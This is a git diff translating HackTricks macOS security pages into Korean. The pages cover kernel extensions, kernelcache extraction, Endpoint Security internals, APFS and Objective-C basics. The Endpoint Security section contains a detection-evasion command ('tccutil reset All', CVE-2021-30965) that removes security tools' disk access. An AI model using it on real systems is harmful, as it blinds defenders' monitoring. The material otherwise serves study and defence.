IPC** 코드 생성을 **단순화**하기 위해 만들어졌습니다. 기본적으로 주어진 정의에 따라 서버와 클라이언트가 통신하는 데 필요한 코드를 **생성**합니다. 생성된 코드가 보기 좋지 않더라도, 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다. -For more info check: +자세한 정보는 다음을 확인하세요: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} -## References +## 참고 문헌 - [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) - [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 4258ded90..6b59c95aa 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -1,41 +1,40 @@ -# macOS Kernel Extensions & Debugging +# macOS 커널 확장 및 디버깅 {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system. +커널 확장(Kexts)은 **`.kext`** 확장자를 가진 **패키지**로, **macOS 커널 공간에 직접 로드**되어 운영 체제에 추가 기능을 제공합니다. -### Requirements +### 요구 사항 -Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded: +명백히, 이것은 매우 강력하여 **커널 확장을 로드하는 것이 복잡합니다**. 커널 확장이 로드되기 위해 충족해야 할 **요구 사항**은 다음과 같습니다: -- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded: +- **복구 모드**에 **진입할 때**, 커널 **확장이 로드될 수 있어야** 합니다:
-- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed. -- The kernel extension must also be **notarized**, Apple will be able to check it for malware. -- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**. -- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). -- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it. +- 커널 확장은 **커널 코드 서명 인증서로 서명**되어야 하며, 이는 **Apple에 의해 부여**될 수 있습니다. 회사와 필요 이유를 자세히 검토할 것입니다. +- 커널 확장은 또한 **노타리제이션**되어야 하며, Apple은 이를 악성 소프트웨어에 대해 검사할 수 있습니다. +- 그런 다음, **root** 사용자만이 **커널 확장을 로드**할 수 있으며, 패키지 내의 파일은 **root에 속해야** 합니다. +- 업로드 과정에서 패키지는 **보호된 비루트 위치**에 준비되어야 합니다: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). +- 마지막으로, 로드하려고 시도할 때, 사용자는 [**확인 요청을 받게**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 되며, 수락되면 컴퓨터는 **재시작**되어야 합니다. -### Loading process +### 로드 프로세스 -In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +Catalina에서는 다음과 같았습니다: **검증** 프로세스가 **사용자 공간**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만이 **커널에 확장을 로드하도록 요청**할 수 있습니다: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` -1. **`kextutil`** cli **starts** the **verification** process for loading an extension - - It will talk to **`kextd`** by sending using a **Mach service**. -2. **`kextd`** will check several things, such as the **signature** - - It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**. -3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded. - - **`syspolicyd`** will report the result to **`kextd`** -4. **`kextd`** will finally be able to **tell the kernel to load** the extension +1. **`kextutil`** cli가 **확장을 로드하기 위한 검증** 프로세스를 **시작**합니다. +- **Mach 서비스**를 사용하여 **`kextd`**와 통신합니다. +2. **`kextd`**는 **서명**과 같은 여러 가지를 확인합니다. +- **`syspolicyd`**와 통신하여 확장이 **로드될 수 있는지 확인**합니다. +3. **`syspolicyd`**는 확장이 이전에 로드되지 않았다면 **사용자에게 요청**합니다. +- **`syspolicyd`**는 결과를 **`kextd`**에 보고합니다. +4. **`kextd`**는 결국 **커널에 확장을 로드하라고 지시**할 수 있습니다. -If **`kextd`** is not available, **`kextutil`** can perform the same checks. - -### Enumeration (loaded kexts) +**`kextd`**가 사용 불가능한 경우, **`kextutil`**이 동일한 검사를 수행할 수 있습니다. +### 열거(로드된 kexts) ```bash # Get loaded kernel extensions kextstat @@ -43,40 +42,38 @@ kextstat # Get dependencies of the kext number 22 kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ``` - ## Kernelcache > [!CAUTION] -> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it. +> 커널 확장 프로그램은 `/System/Library/Extensions/`에 있어야 하지만, 이 폴더에 가면 **이진 파일을 찾을 수 없습니다**. 이는 **kernelcache** 때문이며, 하나의 `.kext`를 리버스 엔지니어링하려면 이를 얻는 방법을 찾아야 합니다. -The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time. +**kernelcache**는 **XNU 커널의 미리 컴파일되고 미리 링크된 버전**과 필수 장치 **드라이버** 및 **커널 확장**을 포함합니다. 이는 **압축된** 형식으로 저장되며 부팅 과정 중 메모리로 압축 해제됩니다. kernelcache는 커널과 중요한 드라이버의 실행 준비가 된 버전을 제공하여 **부팅 시간을 단축**시키고, 부팅 시 이러한 구성 요소를 동적으로 로드하고 링크하는 데 소요되는 시간과 자원을 줄입니다. ### Local Kerlnelcache -In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \ -In my case in macOS I found it in: +iOS에서는 **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**에 위치하며, macOS에서는 **`find / -name "kernelcache" 2>/dev/null`**로 찾을 수 있습니다. \ +제 경우 macOS에서 다음 위치에서 찾았습니다: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` #### IMG4 -The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it. +IMG4 파일 형식은 Apple이 iOS 및 macOS 장치에서 펌웨어 구성 요소(예: **kernelcache**)를 안전하게 **저장하고 검증하기 위해** 사용하는 컨테이너 형식입니다. IMG4 형식은 헤더와 여러 태그를 포함하여 실제 페이로드(예: 커널 또는 부트로더), 서명 및 일련의 매니페스트 속성을 캡슐화합니다. 이 형식은 암호화 검증을 지원하여 장치가 실행하기 전에 펌웨어 구성 요소의 진위와 무결성을 확인할 수 있도록 합니다. -It's usually composed of the following components: +일반적으로 다음 구성 요소로 구성됩니다: - **Payload (IM4P)**: - - Often compressed (LZFSE4, LZSS, …) - - Optionally encrypted +- 종종 압축됨 (LZFSE4, LZSS, …) +- 선택적으로 암호화됨 - **Manifest (IM4M)**: - - Contains Signature - - Additional Key/Value dictionary +- 서명 포함 +- 추가 키/값 사전 - **Restore Info (IM4R)**: - - Also known as APNonce - - Prevents replaying of some updates - - OPTIONAL: Usually this isn't found - -Decompress the Kernelcache: +- APNonce로도 알려짐 +- 일부 업데이트의 재생 방지 +- 선택 사항: 일반적으로 발견되지 않음 +Kernelcache 압축 해제: ```bash # img4tool (https://github.com/tihmstar/img4tool img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e @@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e # pyimg4 (https://github.com/m1stadev/PyIMG4) pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - -### Download +### 다운로드 - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**. - -Check it for symbols with: +[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases)에서 모든 커널 디버그 키트를 찾을 수 있습니다. 다운로드하여 마운트하고 [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) 도구로 열어 **`.kext`** 폴더에 접근하고 **추출**할 수 있습니다. +다음으로 기호를 확인하세요: ```bash nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files. +가끔 Apple은 **kernelcache**를 **symbols**와 함께 출시합니다. 이러한 페이지의 링크를 따라 **symbols**가 포함된 일부 펌웨어를 다운로드할 수 있습니다. 펌웨어에는 다른 파일들 중에 **kernelcache**가 포함되어 있습니다. -To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. +파일을 **extract**하려면 `.ipsw` 확장자를 `.zip`으로 변경하고 **unzip**합니다. -After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with: +펌웨어를 추출한 후에는 **`kernelcache.release.iphone14`**와 같은 파일을 얻게 됩니다. 이는 **IMG4** 형식이며, 다음을 사용하여 흥미로운 정보를 추출할 수 있습니다: [**pyimg4**](https://github.com/m1stadev/PyIMG4)**:** - ```bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - [**img4tool**](https://github.com/tihmstar/img4tool)**:** - ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` +### 커널 캐시 검사 -### Inspecting kernelcache - -Check if the kernelcache has symbols with - +커널 캐시에 기호가 있는지 확인하십시오. ```bash nm -a kernelcache.release.iphone14.e | wc -l ``` - -With this we can now **extract all the extensions** or the **one you are interested in:** - +이제 **모든 확장자를 추출**하거나 **관심 있는 확장자**를 추출할 수 있습니다: ```bash # List all extensions kextex -l kernelcache.release.iphone14.e @@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e # Check the extension for symbols nm -a binaries/com.apple.security.sandbox | wc -l ``` +## 디버깅 -## Debugging - -## Referencias +## 참조 - [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) - [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md index bb6bb0697..d6bb317ba 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md @@ -1,10 +1,10 @@ -# macOS Kernel Vulnerabilities +# macOS 커널 취약점 {{#include ../../../banners/hacktricks-training.md}} -## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) +## [OTA 해킹](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) -[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\ +[**이 보고서에서는**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) 소프트웨어 업데이트 프로그램을 손상시켜 커널을 침해할 수 있는 여러 취약점이 설명되어 있습니다.\ [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 83bdf0dc2..9c2108fc7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -4,76 +4,74 @@ ## System Extensions / Endpoint Security Framework -Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction. +Kernel Extensions와 달리, **System Extensions는 사용자 공간에서 실행**되어 확장 기능 오작동으로 인한 시스템 충돌 위험을 줄입니다.
https://knight.sc/images/system-extension-internals-1.png
-There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions. +System Extensions에는 **DriverKit** Extensions, **Network** Extensions, 및 **Endpoint Security** Extensions의 세 가지 유형이 있습니다. ### **DriverKit Extensions** -DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run. +DriverKit은 **하드웨어 지원**을 제공하는 커널 확장의 대체물입니다. USB, Serial, NIC 및 HID 드라이버와 같은 장치 드라이버가 커널 공간이 아닌 사용자 공간에서 실행될 수 있도록 합니다. DriverKit 프레임워크는 **특정 I/O Kit 클래스의 사용자 공간 버전**을 포함하며, 커널은 일반 I/O Kit 이벤트를 사용자 공간으로 전달하여 이러한 드라이버가 실행될 수 있는 더 안전한 환경을 제공합니다. ### **Network Extensions** -Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions: +Network Extensions는 네트워크 동작을 사용자 정의할 수 있는 기능을 제공합니다. 여러 유형의 Network Extensions가 있습니다: -- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets. -- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets. -- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level. -- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level. -- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses. +- **App Proxy**: 흐름 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다. 이는 개별 패킷이 아닌 연결(또는 흐름)을 기반으로 네트워크 트래픽을 처리함을 의미합니다. +- **Packet Tunnel**: 개별 패킷을 기반으로 네트워크 트래픽을 처리하는 패킷 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다. +- **Filter Data**: 네트워크 "흐름"을 필터링하는 데 사용됩니다. 흐름 수준에서 네트워크 데이터를 모니터링하거나 수정할 수 있습니다. +- **Filter Packet**: 개별 네트워크 패킷을 필터링하는 데 사용됩니다. 패킷 수준에서 네트워크 데이터를 모니터링하거나 수정할 수 있습니다. +- **DNS Proxy**: 사용자 정의 DNS 제공자를 생성하는 데 사용됩니다. DNS 요청 및 응답을 모니터링하거나 수정하는 데 사용할 수 있습니다. ## Endpoint Security Framework -Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity. +Endpoint Security는 시스템 보안을 위한 API 집합을 제공하는 Apple의 macOS 프레임워크입니다. 이는 **보안 공급업체와 개발자가 시스템 활동을 모니터링하고 제어하여 악의적인 활동을 식별하고 보호할 수 있는 제품을 구축하는 데 사용**됩니다. -This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events. +이 프레임워크는 프로세스 실행, 파일 시스템 이벤트, 네트워크 및 커널 이벤트와 같은 시스템 활동을 모니터링하고 제어하기 위한 **API 모음**을 제공합니다. -The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components: +이 프레임워크의 핵심은 커널에 구현되어 있으며, **`/System/Library/Extensions/EndpointSecurity.kext`**에 위치한 커널 확장(KEXT)입니다. 이 KEXT는 여러 주요 구성 요소로 구성됩니다: -- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework. -- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls. -- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications. -- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients. +- **EndpointSecurityDriver**: 커널 확장의 "진입점" 역할을 합니다. OS와 Endpoint Security 프레임워크 간의 주요 상호작용 지점입니다. +- **EndpointSecurityEventManager**: 커널 후크를 구현하는 책임이 있는 구성 요소입니다. 커널 후크는 시스템 호출을 가로채어 시스템 이벤트를 모니터링할 수 있게 합니다. +- **EndpointSecurityClientManager**: 사용자 공간 클라이언트와의 통신을 관리하며, 어떤 클라이언트가 연결되어 있고 이벤트 알림을 받아야 하는지를 추적합니다. +- **EndpointSecurityMessageManager**: 사용자 공간 클라이언트에 메시지와 이벤트 알림을 전송합니다. -The events that the Endpoint Security framework can monitor are categorized into: +Endpoint Security 프레임워크가 모니터링할 수 있는 이벤트는 다음과 같이 분류됩니다: -- File events -- Process events -- Socket events -- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device) +- 파일 이벤트 +- 프로세스 이벤트 +- 소켓 이벤트 +- 커널 이벤트 (예: 커널 확장을 로드/언로드하거나 I/O Kit 장치를 여는 경우) ### Endpoint Security Framework Architecture
https://www.youtube.com/watch?v=jaVkpM1UqOs
-**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller: +**사용자 공간 통신**은 IOUserClient 클래스를 통해 Endpoint Security 프레임워크와 이루어집니다. 호출자 유형에 따라 두 가지 다른 하위 클래스가 사용됩니다: -- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`. -- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework. +- **EndpointSecurityDriverClient**: `com.apple.private.endpoint-security.manager` 권한이 필요하며, 이는 시스템 프로세스 `endpointsecurityd`만 보유합니다. +- **EndpointSecurityExternalClient**: `com.apple.developer.endpoint-security.client` 권한이 필요합니다. 이는 일반적으로 Endpoint Security 프레임워크와 상호작용해야 하는 타사 보안 소프트웨어에서 사용됩니다. -The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT. +Endpoint Security Extensions:**`libEndpointSecurity.dylib`**는 시스템 확장이 커널과 통신하는 데 사용하는 C 라이브러리입니다. 이 라이브러리는 I/O Kit(`IOKit`)을 사용하여 Endpoint Security KEXT와 통신합니다. -**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment. +**`endpointsecurityd`**는 엔드포인트 보안 시스템 확장을 관리하고 시작하는 데 관여하는 주요 시스템 데몬으로, 특히 초기 부팅 과정에서 중요합니다. **`Info.plist`** 파일에 **`NSEndpointSecurityEarlyBoot`**로 표시된 **시스템 확장만** 이 초기 부팅 처리를 받습니다. -Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions. +또 다른 시스템 데몬인 **`sysextd`**는 **시스템 확장을 검증**하고 이를 적절한 시스템 위치로 이동합니다. 그런 다음 관련 데몬에 확장을 로드하도록 요청합니다. **`SystemExtensions.framework`**는 시스템 확장을 활성화하고 비활성화하는 책임이 있습니다. ## Bypassing ESF -ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting. +ESF는 레드 팀원을 감지하려고 하는 보안 도구에서 사용되므로, 이를 피할 수 있는 방법에 대한 정보는 흥미롭습니다. ### CVE-2021-30965 -The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running: - +문제는 보안 애플리케이션이 **전체 디스크 접근 권한**을 가져야 한다는 것입니다. 따라서 공격자가 이를 제거할 수 있다면 소프트웨어가 실행되는 것을 방지할 수 있습니다: ```bash tccutil reset All ``` +더 많은 정보는 이 우회 및 관련된 내용에 대해 [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) 강의를 확인하세요. -For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) - -At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running. +결국, 이는 **`tccd`**가 관리하는 보안 앱에 새로운 권한 **`kTCCServiceEndpointSecurityClient`**를 부여하여 수정되었으며, 이로 인해 `tccutil`이 권한을 지우지 않아 실행을 방해하지 않게 되었습니다. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 7e9bb6e6d..6142b4bd7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -2,33 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -## Apple Propietary File System (APFS) +## Apple 독점 파일 시스템 (APFS) -**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**. +**Apple 파일 시스템 (APFS)**는 계층적 파일 시스템 플러스 (HFS+)를 대체하기 위해 설계된 현대적인 파일 시스템입니다. 그 개발은 **향상된 성능, 보안 및 효율성**의 필요성에 의해 추진되었습니다. -Some notable features of APFS include: +APFS의 몇 가지 주목할 만한 기능은 다음과 같습니다: -1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning. - 1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size. -2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted. -3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space. -4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases. -5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption. - -Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security. +1. **공간 공유**: APFS는 여러 볼륨이 **단일 물리적 장치에서 동일한 기본 무료 저장소를 공유**할 수 있도록 합니다. 이를 통해 볼륨이 수동 크기 조정이나 재분할 없이 동적으로 성장하고 축소될 수 있어 공간 활용이 더 효율적입니다. +1. 이는 파일 디스크의 전통적인 파티션과 비교할 때, **APFS에서 서로 다른 파티션(볼륨)이 모든 디스크 공간을 공유**한다는 것을 의미하며, 일반적인 파티션은 보통 고정 크기를 가집니다. +2. **스냅샷**: APFS는 **읽기 전용**인 파일 시스템의 시점 인스턴스인 **스냅샷 생성**을 지원합니다. 스냅샷은 추가 저장소를 최소한으로 소모하면서 효율적인 백업과 쉬운 시스템 롤백을 가능하게 합니다. +3. **클론**: APFS는 **원본과 동일한 저장소를 공유하는 파일 또는 디렉토리 클론을 생성**할 수 있으며, 원본 파일이나 클론이 수정될 때까지 이 기능이 유지됩니다. 이 기능은 저장소 공간을 중복하지 않고 파일이나 디렉토리의 복사본을 효율적으로 생성하는 방법을 제공합니다. +4. **암호화**: APFS는 **전체 디스크 암호화**와 파일별 및 디렉토리별 암호화를 기본적으로 지원하여 다양한 사용 사례에서 데이터 보안을 강화합니다. +5. **충돌 보호**: APFS는 **파일 시스템 일관성을 보장하는 복사-쓰기 메타데이터 방식을 사용**하여 갑작스러운 전원 손실이나 시스템 충돌의 경우에도 데이터 손상 위험을 줄입니다. +전반적으로 APFS는 Apple 장치에 대해 더 현대적이고 유연하며 효율적인 파일 시스템을 제공하며, 향상된 성능, 신뢰성 및 보안에 중점을 두고 있습니다. ```bash diskutil list # Get overview of the APFS volumes ``` - ## Firmlinks -The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`). - -The list of firmlinks can be found in the **`/usr/share/firmlinks`** file. +`Data` 볼륨은 **`/System/Volumes/Data`**에 마운트됩니다 (이것은 `diskutil apfs list`로 확인할 수 있습니다). +firmlinks 목록은 **`/usr/share/firmlinks`** 파일에서 찾을 수 있습니다. ```bash ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 4561700b5..7d25a30cf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -5,24 +5,21 @@ ## Objective-C > [!CAUTION] -> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of: +> Objective-C로 작성된 프로그램은 [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)로 **컴파일**될 때 **클래스 선언**을 **유지**합니다. 이러한 클래스 선언에는 다음의 이름과 유형이 **포함**됩니다: -- The class -- The class methods -- The class instance variables - -You can get this information using [**class-dump**](https://github.com/nygard/class-dump): +- 클래스 +- 클래스 메서드 +- 클래스 인스턴스 변수 +이 정보를 [**class-dump**](https://github.com/nygard/class-dump)를 사용하여 얻을 수 있습니다: ```bash class-dump Kindle.app ``` +이 이름들은 이진 파일의 리버싱을 더 어렵게 만들기 위해 난독화될 수 있습니다. -Note that this names could be obfuscated to make the reversing of the binary more difficult. - -## Classes, Methods & Objects - -### Interface, Properties & Methods +## 클래스, 메서드 및 객체 +### 인터페이스, 속성 및 메서드 ```objectivec // Declare the interface of the class @interface MyVehicle : NSObject @@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor @end ``` - -### **Class** - +### **클래스** ```objectivec @implementation MyVehicle : NSObject // No need to indicate the properties, only define methods - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } @end ``` +### **객체 및 메서드 호출** -### **Object & Call Method** - -To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**. - +클래스의 인스턴스를 생성하기 위해 **`alloc`** 메서드가 호출되어 각 **속성**에 대한 **메모리**를 **할당**하고 해당 할당을 **제로**로 설정합니다. 그런 다음 **`init`**이 호출되어 **속성**을 **필요한 값**으로 **초기화**합니다. ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new]; // [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] [newVehicle addWheels:4]; ``` +### **클래스 메서드** -### **Class Methods** - -Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**: - +클래스 메서드는 인스턴스 메서드에 사용되는 하이픈 (-)이 아닌 **플러스 기호** (+)로 정의됩니다. **NSString** 클래스 메서드 **`stringWithString`**와 같이: ```objectivec + (id)stringWithString:(NSString *)aString; ``` - ### Setter & Getter -To **set** & **get** properties, you could do it with a 